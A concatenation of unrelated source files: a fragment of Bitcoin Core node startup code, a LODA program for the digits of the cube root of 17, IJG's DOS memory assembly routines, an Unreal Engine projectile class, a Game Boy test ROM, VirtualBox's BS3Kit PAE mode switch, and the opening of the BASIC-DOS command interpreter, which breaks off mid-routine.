g_txindex = MakeUnique<TxIndex>(nTxIndexCache, false, fReindex);
g_txindex->Start();
}
for (const auto& filter_type : g_enabled_filter_types) {
InitBlockFilterIndex(filter_type, filter_index_cache, false, fReindex);
GetBlockFilterIndex(filter_type)->Start();
}
// ********************************************************* Step 9: load wallet
for (const auto& client : interfaces.chain_clients) {
if (!client->load()) {
return false;
}
}
// ********************************************************* Step 10: data directory maintenance
// if pruning, unset the service bit and perform the initial blockstore prune
// after any wallet rescanning has taken place.
if (fPruneMode) {
LogPrintf("Unsetting NODE_NETWORK on prune mode\n");
nLocalServices = ServiceFlags(nLocalServices & ~NODE_NETWORK);
if (!fReindex) {
uiInterface.InitMessage(_("Pruning blockstore...").translated);
::ChainstateActive().PruneAndFlush();
}
}
if (chainparams.GetConsensus().SegwitHeight != std::numeric_limits<int>::max()) {
// Advertise witness capabilities.
// The option to not set NODE_WITNESS is only used in the tests and should be removed.
nLocalServices = ServiceFlags(nLocalServices | NODE_WITNESS);
}
// ********************************************************* Step 11: import blocks
if (!CheckDiskSpace(GetDataDir())) {
InitError(strprintf(_("Error: Disk space is low for %s").translated, GetDataDir()));
return false;
}
if (!CheckDiskSpace(GetBlocksDir())) {
InitError(strprintf(_("Error: Disk space is low for %s").translated, GetBlocksDir()));
return false;
}
// Either install a handler to notify us when genesis activates, or set fHaveGenesis directly.
// No locking, as this happens before any background thread is started.
boost::signals2::connection block_notify_genesis_wait_connection;
if (::ChainActive().Tip() == nullptr) {
block_notify_genesis_wait_connection = uiInterface.NotifyBlockTip_connect(BlockNotifyGenesisWait);
} else {
fHaveGenesis = true;
}
#if HAVE_SYSTEM
if (gArgs.IsArgSet("-blocknotify"))
uiInterface.NotifyBlockTip_connect(BlockNotifyCallback);
#endif
std::vector<fs::path> vImportFiles;
for (const std::string& strFile : gArgs.GetArgs("-loadblock")) {
vImportFiles.push_back(strFile);
}
threadGroup.create_thread(std::bind(&ThreadImport, vImportFiles));
// Wait for genesis block to be processed
{
WAIT_LOCK(g_genesis_wait_mutex, lock);
// We previously could hang here if StartShutdown() is called prior to
// ThreadImport getting started, so instead we just wait on a timer to
// check ShutdownRequested() regularly.
while (!fHaveGenesis && !ShutdownRequested()) {
g_genesis_wait_cv.wait_for(lock, std::chrono::milliseconds(500));
}
block_notify_genesis_wait_connection.disconnect();
}
if (ShutdownRequested()) {
return false;
}
// ********************************************************* Step 12: start node
int chain_active_height;
//// debug print
{
LOCK(cs_main);
LogPrintf("block tree size = %u\n", ::BlockIndex().size());
chain_active_height = ::ChainActive().Height();
}
LogPrintf("nBestHeight = %d\n", chain_active_height);
if (gArgs.GetBoolArg("-listenonion", DEFAULT_LISTEN_ONION))
StartTorControl();
Discover();
// Map ports with UPnP
if (gArgs.GetBoolArg("-upnp", DEFAULT_UPNP)) {
StartMapPort();
}
CConnman::Options connOptions;
connOptions.nLocalServices = nLocalServices;
connOptions.nMaxConnections = nMaxConnections;
connOptions.m_max_outbound_full_relay = std::min(MAX_OUTBOUND_FULL_RELAY_CONNECTIONS, connOptions.nMaxConnections);
connOptions.m_max_outbound_block_relay = std::min(MAX_BLOCKS_ONLY_CONNECTIONS, connOptions.nMaxConnections-connOptions.m_max_outbound_full_relay);
connOptions.nMaxAddnode = MAX_ADDNODE_CONNECTIONS;
connOptions.nMaxFeeler = 1;
connOptions.nBestHeight = chain_active_height;
connOptions.uiInterface = &uiInterface;
connOptions.m_banman = g_banman.get();
connOptions.m_msgproc = peerLogic.get();
connOptions.nSendBufferMaxSize = 1000*gArgs.GetArg("-maxsendbuffer", DEFAULT_MAXSENDBUFFER);
connOptions.nReceiveFloodSize = 1000*gArgs.GetArg("-maxreceivebuffer", DEFAULT_MAXRECEIVEBUFFER);
connOptions.m_added_nodes = gArgs.GetArgs("-addnode");
connOptions.nMaxOutboundTimeframe = nMaxOutboundTimeframe;
connOptions.nMaxOutboundLimit = nMaxOutboundLimit;
connOptions.m_peer_connect_timeout = peer_connect_timeout;
for (const std::string& strBind : gArgs.GetArgs("-bind")) {
CService addrBind;
if (!Lookup(strBind.c_str(), addrBind, GetListenPort(), false)) {
return InitError(ResolveErrMsg("bind", strBind));
}
connOptions.vBinds.push_back(addrBind);
}
for (const std::string& strBind : gArgs.GetArgs("-whitebind")) {
NetWhitebindPermissions whitebind;
std::string error;
if (!NetWhitebindPermissions::TryParse(strBind, whitebind, error)) return InitError(error);
connOptions.vWhiteBinds.push_back(whitebind);
}
for (const auto& net : gArgs.GetArgs("-whitelist")) {
NetWhitelistPermissions subnet;
std::string error;
if (!NetWhitelistPermissions::TryParse(net, subnet, error)) return InitError(error);
connOptions.vWhitelistedRange.push_back(subnet);
}
connOptions.vSeedNodes = gArgs.GetArgs("-seednode");
// Initiate outbound connections unless connect=0
connOptions.m_use_addrman_outgoing = !gArgs.IsArgSet("-connect");
if (!connOptions.m_use_addrman_outgoing) {
const auto connect = gArgs.GetArgs("-connect");
if (connect.size() != 1 || connect[0] != "0") {
connOptions.m_specified_outgoing = connect;
}
}
if (!g_connman->Start(scheduler, connOptions)) {
return false;
}
// ********************************************************* Step 13: finished
SetRPCWarmupFinished();
uiInterface.InitMessage(_("Done loading").translated);
for (const auto& client : interfaces.chain_clients) {
client->start(scheduler);
}
scheduler.scheduleEvery([]{
g_banman->DumpBanlist();
}, DUMP_BANS_INTERVAL * 1000);
return true;
}
|
; A010589: Decimal expansion of cube root of 17.
; Submitted by Christian Krause
; 2,5,7,1,2,8,1,5,9,0,6,5,8,2,3,5,3,5,5,4,5,3,1,8,7,2,0,8,7,3,9,7,2,6,1,1,6,4,2,7,9,0,1,6,3,2,4,5,4,6,9,6,2,5,9,8,4,8,0,2,2,3,7,6,2,1,9,9,3,9,9,3,3,0,3,0,6,7,0,1,5,0,3,2,4,3,5,1,5,3,0,4,4,5,6,5,1,5,1,0
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $5,$2
add $5,$2
add $1,$5
add $2,$1
mul $1,2
sub $3,1
lpe
mov $1,1
add $1,$5
add $1,1
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
;
; jmemdosa.asm
;
; Copyright (C) 1992, Thomas G. Lane.
; This file is part of the Independent JPEG Group's software.
; For conditions of distribution and use, see the accompanying README file.
;
; This file contains low-level interface routines to support the MS-DOS
; backing store manager (jmemdos.c). Routines are provided to access disk
; files through direct DOS calls, and to access XMS and EMS drivers.
;
; This file should assemble with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler). If you haven't got
; a compatible assembler, better fall back to jmemansi.c or jmemname.c.
;
; To minimize dependence on the C compiler's register usage conventions,
; we save and restore all 8086 registers, even though most compilers only
; require SI,DI,DS to be preserved. Also, we use only 16-bit-wide return
; values, which everybody returns in AX.
;
; Based on code contributed by Ge' Weijers.
;
JMEMDOSA_TXT segment byte public 'CODE'
assume cs:JMEMDOSA_TXT
public _jdos_open
public _jdos_close
public _jdos_seek
public _jdos_read
public _jdos_write
public _jxms_getdriver
public _jxms_calldriver
public _jems_available
public _jems_calldriver
;
; short far jdos_open (short far * handle, char far * filename)
;
; Create and open a temporary file
;
_jdos_open proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov cx,0 ; normal file attributes
lds dx,dword ptr [bp+10] ; get filename pointer
mov ah,3ch ; create file
int 21h
jc open_err ; if failed, return error code
lds bx,dword ptr [bp+6] ; get handle pointer
mov word ptr [bx],ax ; save the handle
xor ax,ax ; return zero for OK
open_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_open endp
;
; short far jdos_close (short handle)
;
; Close the file handle
;
_jdos_close proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
mov ah,3eh ; close file
int 21h
jc close_err ; if failed, return error code
xor ax,ax ; return zero for OK
close_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_close endp
;
; short far jdos_seek (short handle, long offset)
;
; Set file position
;
_jdos_seek proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
mov dx,word ptr [bp+8] ; LS offset
mov cx,word ptr [bp+10] ; MS offset
mov ax,4200h ; absolute seek
int 21h
jc seek_err ; if failed, return error code
xor ax,ax ; return zero for OK
seek_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_seek endp
;
; short far jdos_read (short handle, void far * buffer, unsigned short count)
;
; Read from file
;
_jdos_read proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
lds dx,dword ptr [bp+8] ; buffer address
mov cx,word ptr [bp+12] ; number of bytes
mov ah,3fh ; read file
int 21h
jc read_err ; if failed, return error code
cmp ax,word ptr [bp+12] ; make sure all bytes were read
je read_ok
mov ax,1 ; else return 1 for not OK
jmp short read_err
read_ok: xor ax,ax ; return zero for OK
read_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_read endp
;
; short far jdos_write (short handle, void far * buffer, unsigned short count)
;
; Write to file
;
_jdos_write proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
lds dx,dword ptr [bp+8] ; buffer address
mov cx,word ptr [bp+12] ; number of bytes
mov ah,40h ; write file
int 21h
jc write_err ; if failed, return error code
cmp ax,word ptr [bp+12] ; make sure all bytes written
je write_ok
mov ax,1 ; else return 1 for not OK
jmp short write_err
write_ok: xor ax,ax ; return zero for OK
write_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_write endp
;
; void far jxms_getdriver (XMSDRIVER far *)
;
; Get the address of the XMS driver, or NULL if not available
;
_jxms_getdriver proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov ax,4300h ; call multiplex interrupt with
int 2fh ; a magic cookie, hex 4300
cmp al,80h ; AL should contain hex 80
je xmsavail
xor dx,dx ; no XMS driver available
xor ax,ax ; return a nil pointer
jmp short xmsavail_done
xmsavail: mov ax,4310h ; fetch driver address with
int 2fh ; another magic cookie
mov dx,es ; copy address to dx:ax
mov ax,bx
xmsavail_done: les bx,dword ptr [bp+6] ; get pointer to return value
mov word ptr es:[bx],ax
mov word ptr es:[bx+2],dx
pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jxms_getdriver endp
;
; void far jxms_calldriver (XMSDRIVER, XMScontext far *)
;
; The XMScontext structure contains values for the AX,DX,BX,SI,DS registers.
; These are loaded, the XMS call is performed, and the new values of the
; AX,DX,BX registers are written back to the context structure.
;
_jxms_calldriver proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
les bx,dword ptr [bp+10] ; get XMScontext pointer
mov ax,word ptr es:[bx] ; load registers
mov dx,word ptr es:[bx+2]
mov si,word ptr es:[bx+6]
mov ds,word ptr es:[bx+8]
mov bx,word ptr es:[bx+4]
call dword ptr [bp+6] ; call the driver
mov cx,bx ; save returned BX for a sec
les bx,dword ptr [bp+10] ; get XMScontext pointer
mov word ptr es:[bx],ax ; put back ax,dx,bx
mov word ptr es:[bx+2],dx
mov word ptr es:[bx+4],cx
pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jxms_calldriver endp
;
; short far jems_available (void)
;
; Have we got an EMS driver? (this comes straight from the EMS 4.0 specs)
;
_jems_available proc far
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov ax,3567h ; get interrupt vector 67h
int 21h
push cs
pop ds
mov di,000ah ; check offs 10 in returned seg
lea si,ASCII_device_name ; against literal string
mov cx,8
cld
repe cmpsb
jne no_ems
mov ax,1 ; match, it's there
jmp short avail_done
no_ems: xor ax,ax ; it's not there
avail_done: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
ret
ASCII_device_name db "EMMXXXX0"
_jems_available endp
;
; void far jems_calldriver (EMScontext far *)
;
; The EMScontext structure contains values for the AX,DX,BX,SI,DS registers.
; These are loaded, the EMS trap is performed, and the new values of the
; AX,DX,BX registers are written back to the context structure.
;
_jems_calldriver proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
les bx,dword ptr [bp+6] ; get EMScontext pointer
mov ax,word ptr es:[bx] ; load registers
mov dx,word ptr es:[bx+2]
mov si,word ptr es:[bx+6]
mov ds,word ptr es:[bx+8]
mov bx,word ptr es:[bx+4]
int 67h ; call the EMS driver
mov cx,bx ; save returned BX for a sec
les bx,dword ptr [bp+6] ; get EMScontext pointer
mov word ptr es:[bx],ax ; put back ax,dx,bx
mov word ptr es:[bx+2],dx
mov word ptr es:[bx+4],cx
pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jems_calldriver endp
JMEMDOSA_TXT ends
end
|
// Fill out your copyright notice in the Description page of Project Settings.
#include "ProjectileBase.h"
#include "Components/StaticMeshComponent.h"
#include "GameFramework/ProjectileMovementComponent.h"
#include "Kismet/GameplayStatics.h"
#include "Particles/ParticleSystem.h"
#include "Particles/ParticleSystemComponent.h"
// Sets default values
AProjectileBase::AProjectileBase()
{
// Set this actor to call Tick() every frame. You can turn this off to improve performance if you don't need it.
PrimaryActorTick.bCanEverTick = true;
ProjectileMesh = CreateDefaultSubobject<UStaticMeshComponent>(TEXT("Projectile Mesh"));
ProjectileMesh->OnComponentHit.AddDynamic(this, &AProjectileBase::OnHit);
RootComponent = ProjectileMesh;
ProjectileMovement = CreateDefaultSubobject<UProjectileMovementComponent>(TEXT("Projectile Movement"));
ProjectileMovement->InitialSpeed = MovementSpeed;
ProjectileMovement->MaxSpeed = MovementSpeed;
InitialLifeSpan = 3.f;
ProjectileTrail = CreateDefaultSubobject<UParticleSystemComponent>(TEXT("Projectile Trail"));
ProjectileTrail->SetupAttachment(RootComponent);
}
// Called when the game starts or when spawned
void AProjectileBase::BeginPlay()
{
Super::BeginPlay();
PlayLaunchSound();
if (GetOwner() == GetWorld()->GetFirstPlayerController()->GetParentActor())
{
DoCameraShake();
}
}
void AProjectileBase::PlayLaunchSound()
{
if (LaunchSound)
{
UGameplayStatics::PlaySoundAtLocation(this, LaunchSound, GetActorLocation());
}
}
void AProjectileBase::OnHit(UPrimitiveComponent* HitComp, AActor* OtherActor, UPrimitiveComponent* OtherComp, FVector NormalImpulse, const FHitResult& Hit)
{
AActor* MyOwner = GetOwner();
if (!MyOwner)
{
return;
}
if (OtherActor && OtherActor != this && OtherActor != MyOwner)
{
UGameplayStatics::ApplyDamage(OtherActor, Damage, MyOwner->GetInstigatorController(), this, DamageType);
SpawnHitParticleEmitter();
PlayHitSound();
Destroy();
}
}
void AProjectileBase::DoCameraShake()
{
GetWorld()->GetFirstPlayerController()->ClientStartCameraShake(HitCameraShake);
}
void AProjectileBase::PlayHitSound()
{
if (HitSound)
{
UGameplayStatics::PlaySoundAtLocation(this, HitSound, GetActorLocation());
}
}
void AProjectileBase::SpawnHitParticleEmitter()
{
if (HitParticle)
{
UGameplayStatics::SpawnEmitterAtLocation(this, HitParticle, this->GetActorLocation());
}
}
// Called every frame
void AProjectileBase::Tick(float DeltaTime)
{
Super::Tick(DeltaTime);
}
|
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.text@150
lbegin:
ld c, 41
ld b, 03
lbegin_waitm3:
ldff a, (c)
and a, b
cmp a, b
jrnz lbegin_waitm3
ld a, 20
ldff(c), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld c, 47
ld a, ff
ldff(c), a
inc a
.text@1000
lstatint:
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldff(c), a
dec a
.text@1030
ldff(c), a
inc a
pop hl
|
; $Id: bs3-mode-SwitchToPAE32.asm $
;; @file
; BS3Kit - Bs3SwitchToPAE32
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
;;
; Switch to PAE paged protected mode from any other mode.
;
; @cproto BS3_DECL(void) Bs3SwitchToPAE32(void);
;
; @uses Nothing (except high 32-bit register parts), upper part of ESP is
; cleared if caller is in 16-bit mode.
;
; @remarks Obviously returns to 32-bit mode, even if the caller was
; in 16-bit or 64-bit mode. It doesn't not preserve the callers
; ring, but instead changes to ring-0.
;
; @remarks Does not require 20h of parameter scratch space in 64-bit mode.
;
BS3_GLOBAL_NAME_EX TMPL_NM(Bs3SwitchToPAE32_Safe), function, 0
BS3_PROC_BEGIN_MODE Bs3SwitchToPAE32, BS3_PBC_NEAR
%ifdef TMPL_PAE32
ret
%elif BS3_MODE_IS_V86(TMPL_MODE)
;
; V8086 - Switch to 16-bit ring-0 and call worker for that mode.
;
extern BS3_CMN_NM(Bs3SwitchToRing0)
call BS3_CMN_NM(Bs3SwitchToRing0)
extern %[BS3_MODE_R0_NM_ %+ TMPL_MODE](Bs3SwitchToPAE32)
jmp %[BS3_MODE_R0_NM_ %+ TMPL_MODE](Bs3SwitchToPAE32)
%else
;
; Switch to real mode.
;
%if TMPL_BITS != 32
%if TMPL_BITS > 32
shl xPRE [xSP], 32 ; Adjust the return address from 64-bit to 32-bit.
add rsp, xCB - 4
%else
push word 0 ; Reserve space to expand the return address.
%endif
%endif
%if TMPL_BITS != 16
; Must be in 16-bit segment when calling Bs3SwitchTo16Bit.
jmp .sixteen_bit_segment
BS3_BEGIN_TEXT16
BS3_SET_BITS TMPL_BITS
BS3_GLOBAL_LOCAL_LABEL .sixteen_bit_segment
%endif
;
; Switch to real mode.
;
extern TMPL_NM(Bs3SwitchToRM)
call TMPL_NM(Bs3SwitchToRM)
BS3_SET_BITS 16
push eax
push ecx
pushfd
;
; Get the page directory (returned in eax).
; Will lazy init page tables (in 16-bit prot mode).
;
extern NAME(Bs3PagingGetRootForPAE32_rm)
call NAME(Bs3PagingGetRootForPAE32_rm)
cli
mov cr3, eax
;
; Make sure PAE, PSE, and VME are enabled (former two require pentium pro, latter 486).
;
mov eax, cr4
mov ecx, eax
or eax, X86_CR4_PAE | X86_CR4_PSE | X86_CR4_VME
cmp eax, ecx
je .cr4_is_fine
mov cr4, eax
.cr4_is_fine:
;
; Load the GDT and enable PE32.
;
BS3_EXTERN_SYSTEM16 Bs3LgdtDef_Gdt
BS3_EXTERN_SYSTEM16 Bs3Lgdt_Gdt
BS3_BEGIN_TEXT16
mov ax, BS3SYSTEM16
mov ds, ax
lgdt [Bs3LgdtDef_Gdt] ; Will only load 24-bit base!
mov eax, cr0
or eax, X86_CR0_PE | X86_CR0_PG
mov cr0, eax
jmp BS3_SEL_R0_CS32:dword .thirty_two_bit wrt FLAT
BS3_BEGIN_TEXT32
BS3_GLOBAL_LOCAL_LABEL .thirty_two_bit
;
; Convert the (now) real mode stack pointer to 32-bit flat.
;
xor eax, eax
mov ax, ss
shl eax, 4
and esp, 0ffffh
add esp, eax
mov ax, BS3_SEL_R0_SS32
mov ss, ax
;
; Call rountine for doing mode specific setups.
;
extern NAME(Bs3EnteredMode_pae32)
call NAME(Bs3EnteredMode_pae32)
; Load full 32-bit GDT base address.
lgdt [Bs3Lgdt_Gdt wrt FLAT]
;
; Restore ecx, eax and flags (IF).
;
%if TMPL_BITS < 32
movzx eax, word [esp + 12 + 2] ; Load return address.
add eax, BS3_ADDR_BS3TEXT16 ; Convert it to a flat address.
mov [esp + 12], eax ; Store it in the place right for 32-bit returns.
%endif
popfd
pop ecx
pop eax
ret
%if TMPL_BITS != 32
TMPL_BEGIN_TEXT
%endif
%endif
BS3_PROC_END_MODE Bs3SwitchToPAE32
%if TMPL_BITS == 16
;;
; Custom far stub.
BS3_BEGIN_TEXT16_FARSTUBS
BS3_PROC_BEGIN_MODE Bs3SwitchToPAE32, BS3_PBC_FAR
inc bp
push bp
mov bp, sp
; Call the real thing.
call TMPL_NM(Bs3SwitchToPAE32)
BS3_SET_BITS 32
; Jmp to common code for the tedious conversion.
%if BS3_MODE_IS_RM_OR_V86(TMPL_MODE)
extern _Bs3SwitchHlpConvRealModeRetfPopBpDecBpAndReturn_c32
jmp _Bs3SwitchHlpConvRealModeRetfPopBpDecBpAndReturn_c32
%else
extern _Bs3SwitchHlpConvProtModeRetfPopBpDecBpAndReturn_c32
jmp _Bs3SwitchHlpConvProtModeRetfPopBpDecBpAndReturn_c32
%endif
BS3_SET_BITS 16
BS3_PROC_END_MODE Bs3SwitchToPAE32
%endif
|
;
; BASIC-DOS Command Interpreter
;
; @author Jeff Parsons <Jeff@pcjs.org>
; @copyright (c) 2020-2021 Jeff Parsons
; @license MIT <https://basicdos.com/LICENSE.txt>
;
; This file is part of PCjs, a computer emulation software project at pcjs.org
;
include cmd.inc
CODE SEGMENT
org 100h
EXTNEAR <allocText,freeAllText,genCode,freeAllCode,freeAllVars>
EXTNEAR <writeStrCRLF>
EXTWORD <KEYWORD_TOKENS>
EXTSTR <COM_EXT,EXE_EXT,BAS_EXT,BAT_EXT,DIR_DEF,PERIOD>
EXTSTR <VER_FINAL,VER_DEBUG,HELP_FILE,PIPE_NAME>
ASSUME CS:CODE, DS:DATA, ES:DATA, SS:DATA
DEFPROC main
;
; Get the current session's screen dimensions (AL=cols, AH=rows).
;
mov ax,(DOS_HDL_IOCTL SHL 8) OR IOCTL_GETDIM
mov bx,STDOUT
int 21h
jnc m0 ; carry clear if BASIC-DOS
mov dx,offset WRONG_OS
mov ah,DOS_TTY_PRINT ; use DOS_TTY_PRINT instead of PRINTF
int 21h ; since PC DOS wouldn't understand that
ret
DEFSTR WRONG_OS,<"BASIC-DOS required",13,10,'$'>
m0: mov bx,ds:[PSP_HEAP]
DBGINIT STRUCT,[bx],CMD
mov word ptr [bx].CON_COLS,dx
mov ax,word ptr ds:[PSP_PFT][STDIN]
mov word ptr [bx].SFH_STDIN,ax
;
; Install CTRLC handler. DS = CS only for the first instance; additional
; instances of the interpreter will have their own DS but share a common CS.
;
push ds
push cs
pop ds
mov dx,offset ctrlc ; DS:DX -> CTRLC handler
mov ax,(DOS_MSC_SETVEC SHL 8) + INT_DOSCTRLC
int 21h
pop ds
PRINTF <"BASIC-DOS Interpreter",13,10,13,10>
;
; Originally, "the plan" was to use Microsoft's MBF (Microsoft Binary Format)
; floating-point code, because who really wants to write a "new" floating-point
; emulation library from scratch? I went down that path back in the 1980s,
; probably during my "Mandelbrot phase", but I can't find the code I wrote,
; and now that Microsoft has open-sourced GW-BASIC, it makes more sense to use
; theirs. However, that hasn't happened yet; for now, BASIC-DOS is just an
; "Integer BASIC". If/when that changes, MSLIB will be defined.
;
IFDEF MSLIB
PRINTF <"BASIC MATH library functions",13,10,"Copyright (c) Microsoft Corporation",13,10,13,10>
ENDIF
;
; Check the PSP_CMDTAIL for a startup command. Startup commands must be
; explicitly provided; there is no support for a global AUTOEXEC.BAT, since
; 1) it's likely each session will want its own startup command(s), and 2)
; it's easy enough to specify the name of any desired BAT file on any or all
; of the SHELL= lines in CONFIG.SYS.
;
; Our approach is simple (perhaps even too simple): if a tail exists, set
; INPUT_BUF (which ordinarily points to INPUTBUF) to PSP_CMD_TAIL-1 instead,
; and then jump into the command-processing code below.
;
mov [bx].INPUT_BUF,PSP_CMDTAIL - 1
mov word ptr [bx].INPUTBUF.INP_MAX,size INP_DATA - 1
cmp ds:[PSP_CMDTAIL],0
jne m2 ; use INPUT_BUF -> PSP_CMDTAIL
m1: mov ah,DOS_DSK_GETDRV
int 21h
add al,'A' ; AL = current drive letter
PRINTF <"%c",CHR_GT>,ax ; print drive letter and '>' symbol
mov [bx].CMD_ROWS,0
lea dx,[bx].INPUTBUF
mov [bx].INPUT_BUF,dx
mov ah,DOS_TTY_INPUT
int 21h
call printCRLF
m2: mov si,[bx].INPUT_BUF
mov cl,[si].INP_CNT
lea si,[si].INP_DATA
lea di,[bx].TOKENBUF ; ES:DI -> TOKENBUF
mov [di].TOK_MAX,(size TOK_DATA) / (size TOKLET)
DOSUTIL TOKEN1
jc m1 ; jump if no tokens
call parseCmd
jmp m1
ENDPROC main
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cleanUp
;
; Inputs:
; None
;
; Outputs:
; DS = ES = SS
; BX -> CMDHEAP
;
; Modifies:
; Any
;
DEFPROC cleanUp
pushf
push ss
pop ds
push ss
pop es
mov bx,5 ; close all non-STD handles
cu1: mov ah,DOS_HDL_CLOSE
int 21h
inc bx
cmp bx,size PSP_PFT
jb cu1
mov bx,ds:[PSP_HEAP] ; and then restore the STD ones
mov ax,word ptr [bx].SFH_STDIN
mov word ptr ds:[PSP_PFT][STDIN],ax
;
; If we successfully loaded another program but then ran into some error
; before we could start the program, we MUST clean it up, and the best way
; to do that is to let normal termination processing free all the resources.
;
; So we execute it with a "suicide" option, setting its CS:IP to its own
; termination code at PSP:0.
;
mov cx,[bx].CMD_PROCESS ; does a loaded program exist?
jcxz cu9 ; no
push bx
mov bp,bx
lea bx,[bx].EXECDATA
mov [bx].EPB_INIT_IP.LOW,0 ; set the program's CS:IP to PSP:0
mov [bx].EPB_INIT_IP.HIW,cx
call cmdExec ; this should be a very fast "EXEC"
pop bx
cu9: popf
ret
ENDPROC cleanUp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; ctrlc
;
; CTRLC handler to clean up the last operation, reset the program stack,
; free any active code buffer, and then jump to our start address.
;
; Inputs:
; None
;
; Outputs:
; DS = ES = SS
; BX -> CMDHEAP
;
; Modifies:
; Any
;
DEFPROC ctrlc,FAR
call cleanUp
lea sp,[bx].STACK + size STACK
call freeAllCode
jmp m1
ENDPROC ctrlc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; parseCmd
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC parseCmd
mov dl,0
call getToken ; DS:SI -> 1st token, CX = length
jc pc9
mov [bx].CMD_ARGPTR,si ; save original filename ptr and length
mov [bx].CMD_ARGLEN,cx
lea dx,[KEYWORD_TOKENS]
DOSUTIL TOKID ; CS:DX -> TOKTBL; identify the token
jc pc2
;
; We arrive here if the token was recognized. The token ID in AX determines
; the level of additional parsing required, if any.
;
pc1: mov dx,cs:[si].CTD_FUNC
mov si,[bx].CMD_ARGPTR ; restore SI (changed by TOKID)
cmp ax,KEYWORD_BASIC ; token ID < KEYWORD_BASIC? (40)
jb pc2 ; yes, no code generation required
;
; The token is for a BASIC keyword, so code generation is required.
;
mov al,GEN_IMM
mov si,[bx].INPUT_BUF
call genCode
call cleanUp
jmp short pc9
;
; For non-BASIC commands, we have either a built-in command or an external
; program/command file. For built-in commands, we check for switches, record
; any that we find prior to the first non-switch argument, and then invoke the
; command handler.
;
pc2: call parseDOS ; DS:SI -> 1st token, CX = length
pc9: ret
ENDPROC parseCmd
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; parseDOS
;
; Parse one or more DOS (ie, built-in or external) commands. This deals
; with pipe and redirection symbols and feeds discrete commands to cmdDOS.
;
; This is effectively a wrapper around cmdDOS; if redirection support wasn't
; required, you could call cmdDOS instead.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
; SI -> 1st token
; CX = token length
; AX = keyword ID, if any
; CS:DX -> offset of handler, if any
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC parseDOS
;
; Scan the TOKENBUF for a redirection symbol; if one is found, save it,
; process it, replace it with a null, call cmdDOS, and then restore it and
; continue scanning TOKENBUF.
;
push bp
mov bp,bx ; use BP to access CMDHEAP instead
ASSERT STRUCT,[bp],CMD
mov al,[di].TOK_CNT
ASSERT Z,<test ah,ah>
add ax,ax
add ax,ax
ASSERT <size TOKLET>,EQ,4 ; AX = end of TOKLETs
sub bx,bx ; BX = 0
mov [bp].CMD_ARG,bl ; initialize CMD_ARG
mov [bp].CMD_DEFER[0],bx ; no deferred command (yet)
mov [bp].HDL_INPIPE,bx ; no input pipe (yet)
mov [bp].HDL_OUTPIPE,bx ; and no output pipe (yet)
dec bx ; BX = -1
mov [bp].HDL_INPUT,bx
mov [bp].HDL_OUTPUT,bx
mov [bp].SCB_NEXT,bl
